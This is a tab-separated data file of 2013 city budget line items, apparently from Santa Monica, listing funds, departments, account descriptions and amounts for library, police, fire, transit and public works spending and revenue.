507	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522210.0	UTILITIES - TELEPHONE	812.0	 Supplies and Expenses	2013	17000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17000.0
508	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
509	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522320.0	METERED POSTAGE	812.0	 Supplies and Expenses	2013	25000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25000.0
510	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2013	100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100.0
511	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2013	100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100.0
512	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2013	28000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	28000.0
513	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2013	1850.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1850.0
514	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2013	6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6000.0
515	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2013	1350.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1350.0
516	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	544040.0	BOOKS / PAMPHLETS	806.0	 Supplies and Expenses	2013	100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100.0
517	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511000.0	PERMANENT EMPLOYEES	840.0	Salaries and Wages	2013	594368.0	0	0.0	0.0	0	0	0.0	5944	0.0	0	0	0.0	600312.0
518	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533240.0	PIER MAINTENANCE		 Supplies and Expenses	2013	16499.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16499.0
519	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522110.0	UTIL - LIGHT / POWER	806.0	 Supplies and Expenses	2013	73144.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	73144.0
520	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522210.0	UTILITIES - TELEPHONE	806.0	 Supplies and Expenses	2013	75384.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	75384.0
521	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533210.0	BLDG OPER / CUST SUPPLIES	806.0	 Supplies and Expenses	2013	15912.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15912.0
522	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	555012.0	OUTSIDE REPAIRS - SERVICE VEHC		 Supplies and Expenses	2013	39900.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	39900.0
523	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522624.0	JOINT FACILITIES RENT		 Supplies and Expenses	2013	30000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	30000.0
524	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	577064.0	OTHER MISCELLANEOUS EXPENSES		 Supplies and Expenses	2013	12652.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12652.0
525	B1	IS	1	General Fund	310	FIRE	315	TRAINING	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2013	3120.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3120.0
526	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522150.0	STORMWATER MANAGEMENT		 Supplies and Expenses	2013	5457.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5457.0
527	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	544220.0	REPAIR PARTS AND MATERIALS		 Supplies and Expenses	2013	1150175.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1150175.0
528	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511000.0	PERMANENT EMPLOYEES	812.0	Salaries and Wages	2013	1083546.0	0	0.0	0.0	0	0	0.0	-68644	0.0	0	0	0.0	1014902.0
529	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2013	2850.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2850.0
530	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522500.0	BOARDS AND COMMISSIONS	812.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
531	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522720.0	MILEAGE	812.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
532	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	533220.0	BLDG / STRUCTURE MAINTENANCE	812.0	 Supplies and Expenses	2013	63320.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	63320.0
533	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2013	1800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1800.0
534	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2013	6304.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6304.0
535	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522320.0	METERED POSTAGE	808.0	 Supplies and Expenses	2013	3000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3000.0
536	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2013	2500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2500.0
537	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2013	10857.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10857.0
538	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	544120.0	PERIODICALS	804.0	 Supplies and Expenses	2013	520.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	520.0
539	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533560.0	CONF / MTGS / TRAVEL-PO	804.0	 Supplies and Expenses	2013	6965.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6965.0
540	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533570.0	CONF / MTGS / TRAVEL-TOD	804.0	 Supplies and Expenses	2013	6966.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6966.0
541	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2013	65245.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	65245.0
542	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2013	12000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12000.0
543	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	555210.0	TRAINING	804.0	 Supplies and Expenses	2013	13500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13500.0
544	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	544170.0	UNIFORM / PROTECTIVE CLOTHING	804.0	 Supplies and Expenses	2013	500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	500.0
545	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544390.0	OTHER COSTS	806.0	 Supplies and Expenses	2013	20000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20000.0
546	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555060.0	PROFESSIONAL SERVICES	806.0	 Supplies and Expenses	2013	6120.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6120.0
547	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555210.0	TRAINING	806.0	 Supplies and Expenses	2013	310000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	310000.0
548	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511490.0	OVERTIME	806.0	Salaries and Wages	2013	450314.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	450314.0
549	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511500.0	TEMPORARY EMPLOYEES	806.0	Salaries and Wages	2013	114722.0	0	0.0	0.0	0	0	0.0	1147	0.0	0	0	0.0	115869.0
550	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2013	17000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17000.0
551	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	555210.0	TRAINING	806.0	 Supplies and Expenses	2013	25500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25500.0
552	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	555180.0	PHOTOGRAPHIC EXPENSE	806.0	 Supplies and Expenses	2013	5500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5500.0
553	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2013	885671.0	0	0.0	0.0	0	0	0.0	7244	0.0	0	0	0.0	892915.0
554	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	522310.0	OFFICE SUPPLIES / EXPENSE	806.0	 Supplies and Expenses	2013	350.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	350.0
555	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	522110.0	UTIL - LIGHT / POWER	806.0	 Supplies and Expenses	2013	8456.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8456.0
556	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	522130.0	UTILITIES - WATER	806.0	 Supplies and Expenses	2013	14984.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	14984.0
557	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533140.0	BOAT MAINTENANCE / OPERATION		 Supplies and Expenses	2013	22898.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	22898.0
558	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544090.0	MEDICAL/FIRST AID SUPPLIES		 Supplies and Expenses	2013	2500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2500.0
559	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	555180.0	PHOTOGRAPHIC EXPENSE	806.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
560	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511510.0	CROSSING GUARDS	806.0	Salaries and Wages	2013	412265.0	0	0.0	0.0	0	0	0.0	4123	0.0	0	0	0.0	416388.0
561	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	555080.0	DEAD ANIMAL DISPOSAL	806.0	 Supplies and Expenses	2013	9500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9500.0
562	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544170.0	UNIFORM / PROTECTIVE CLOTHING		 Supplies and Expenses	2013	5230.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5230.0
563	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533120.0	SPECIAL EQUIP MAINT		 Supplies and Expenses	2013	700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	700.0
564	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544120.0	PERIODICALS		 Supplies and Expenses	2013	50.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	50.0
565	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2013	68284.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	68284.0
566	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522320.0	METERED POSTAGE	806.0	 Supplies and Expenses	2013	2958.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2958.0
567	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511300.0	HOLIDAY PAY	806.0	Salaries and Wages	2013	480580.0	0	0.0	0.0	0	0	0.0	4806	0.0	0	0	0.0	485386.0
568	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	544090.0	MEDICAL/FIRST AID SUPPLIES	806.0	 Supplies and Expenses	2013	115008.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	115008.0
569	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2013	1539228.0	0	0.0	0.0	0	0	0.0	4700	0.0	0	0	0.0	1543928.0
570	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511490.0	OVERTIME	806.0	Salaries and Wages	2013	361946.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	361946.0
571	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	555017.0	OUTSIDE REPAIRS - BUS EQUIP		 Supplies and Expenses	2013	1200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1200.0
572	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	555062.0	CONSULTING SERVICES		 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
573	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511972.0	UNIFORM ALLOWANCE		Salaries and Wages	2013	7200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7200.0
574	B1	IS	1	General Fund	310	FIRE	315	TRAINING	544040.0	BOOKS / PAMPHLETS	806.0	 Supplies and Expenses	2013	2550.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2550.0
575	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2013	55243.0	0	0.0	0.0	0	0	0.0	552	0.0	0	0	0.0	55795.0
576	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522110.0	UTIL - LIGHT / POWER		 Supplies and Expenses	2013	332029.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	332029.0
577	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2013	2800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2800.0
578	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
579	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522610.0	EQUIPMENT RENTAL	812.0	 Supplies and Expenses	2013	54000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	54000.0
580	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	533020.0	GENERAL LIABILITY / AUTO	812.0	 Supplies and Expenses	2013	25279.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25279.0
581	B1	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577500.0	TRANSFERS FROM / TO FUND	910.0	 Supplies and Expenses	2013	1397689.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1397689.0
582	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	401520.0	SPECIAL PICK-UPS	650.0	Charges for Service	2013	-35894.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-35894.0
583	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	401540.0	STATE HIGHWAY CLEANING	650.0	Charges for Service	2013	-11600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-11600.0
584	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	405020.0	SALE OF REFUSE BAGS	650.0	Charges for Service	2013	-500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-500.0
585	B1	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2013	-30000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-30000.0
586	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	401340.0	GEN PROM BUS LIC.-DOWNTOWN	622.0	Other	2013	-10150.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-10150.0
587	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	401360.0	GEN PROM BUS LICENSE MAIN ST.	622.0	Other	2013	-6100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-6100.0
588	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	401380.0	POUND FEES	612.0	Charges for Service	2013	-36631.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-36631.0
589	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	400690.0	PLAN CHECK FEES-ENGINEERING	612.0	Charges for Service	2013	-374576.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-374576.0
590	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	544010.0	SPEC DEPT SUPPLIES	816.0	 Supplies and Expenses	2013	10200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10200.0
591	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	577220.0	INTEREST EXPENSE - BONDS		 Supplies and Expenses	2013	717200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	717200.0
592	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	577230.0	FISCAL AGENT FEES		 Supplies and Expenses	2013	5250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5250.0
593	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2013	1771125.0	0	0.0	0.0	0	0	0.0	182530	0.0	0	0	0.0	1953655.0
594	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2013	7500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7500.0
595	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	603	SPECIAL SERVICES		CONTRACT SERVICES - WISE		 Supplies and Expenses	2013	640500.0	0	0.0	0.0	0	0	0.0	0	-44500.0	0	0	0.0	596000.0
596	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2013	13000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13000.0
597	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2013	1459.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1459.0
598	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522180.0	BANK FEES		 Supplies and Expenses	2013	7000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7000.0
599	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	522180.0	BANK FEES		 Supplies and Expenses	2013	15000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15000.0
600	B1	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	522180.0	BANK FEES		 Supplies and Expenses	2013	315.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	315.0
601	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	523000.0	VEHICLE MGMT FUND-MAINTENANCE	812.0	 Supplies and Expenses	2013	3000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3000.0
602	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2013	3588.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3588.0
603	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2013	11589.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11589.0
604	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
605	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	544340.0	INDIRECT COST ALLOCATION	842.0	 Supplies and Expenses	2013	447165.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	447165.0
606	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555010.0	CONTRACTUAL SERVICES	844.0	 Supplies and Expenses	2013	400000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	483352	0.0	883352.0
607	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555060.0	PROFESSIONAL SERVICES	844.0	 Supplies and Expenses	2013	1961870.17	0	51049.0	0.0	0	0	0.0	-1370805	0.0	0	0	0.0	642114.17
608	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522820.0	CONFERENCES/MEETINGS/TRAVEL	848.0	 Supplies and Expenses	2013	6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6000.0
609	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	566940.0	PARKING AUTHORITY REV BOND	910.0	 Supplies and Expenses	2013	1133116.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1133116.0
610	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577170.0	GAS TAXES REIMBURSEMENT	908.0	 Supplies and Expenses	2013	-2395940.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2395940.0
611	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402350.0	WATER - MISC NON-OPERATING	662.0	Other	2013	-249128.0	0	-60000.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-309128.0
612	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402440.0	DAMAGE REPAIR WORK	650.0	Charges for Service	2013	-1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1000.0
613	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	400750.0	INT DEP / INVESTMENT	659.0	Investment Income	2013	-77000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-77000.0
614	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	401330.0	MALL / DOWNTOWN MAINT DISTRICT	622.0	Other	2013	-16000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-16000.0
615	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	401030.0	HAZ MAT RESPONSE RECOVERY	622.0	Other	2013	-20000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-20000.0
616	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	405060.0	ENGINEERING COUNTER SALES	612.0	Charges for Service	2013	-6435.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-6435.0
617	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522310.0	OFFICE SUPPLIES / EXPENSE	816.0	 Supplies and Expenses	2013	14000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	14000.0
618	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	555060.0	PROFESSIONAL SERVICES	806.0	 Supplies and Expenses	2013	44880.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	44880.0
619	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	555180.0	PHOTOGRAPHIC EXPENSE	810.0	 Supplies and Expenses	2013	200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	200.0
620	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522950.0	CNG FUEL		 Supplies and Expenses	2013	8615.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8615.0
621	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	566450.0	SEWAGE PUMP PLANT MAINT		 Supplies and Expenses	2013	376131.34	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	376131.34
622	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	566630.0	STORM DRAIN MAINTENANCE		 Supplies and Expenses	2013	208602.85	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	208602.85
623	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570250.0	GEN FUND REIMB FROM PIER FUND	908.0	 Supplies and Expenses	2013	-186529.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-186529.0
624	B1	IS	43	Gas Tax Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	522150.0	STORMWATER MANAGEMENT	808.0	 Supplies and Expenses	2013	1400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1400.0
625	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2013	75.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	75.0
626	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555010.0	CONTRACTUAL SERVICES	812.0	 Supplies and Expenses	2013	104000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	104000.0
627	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	544120.0	PERIODICALS	812.0	 Supplies and Expenses	2013	84090.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	84090.0
628	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	555050.0	BOOK BINDING	812.0	 Supplies and Expenses	2013	6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6000.0
629	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511500.0	TEMPORARY EMPLOYEES	812.0	Salaries and Wages	2013	110975.0	0	0.0	0.0	0	0	0.0	1110	0.0	0	0	0.0	112085.0
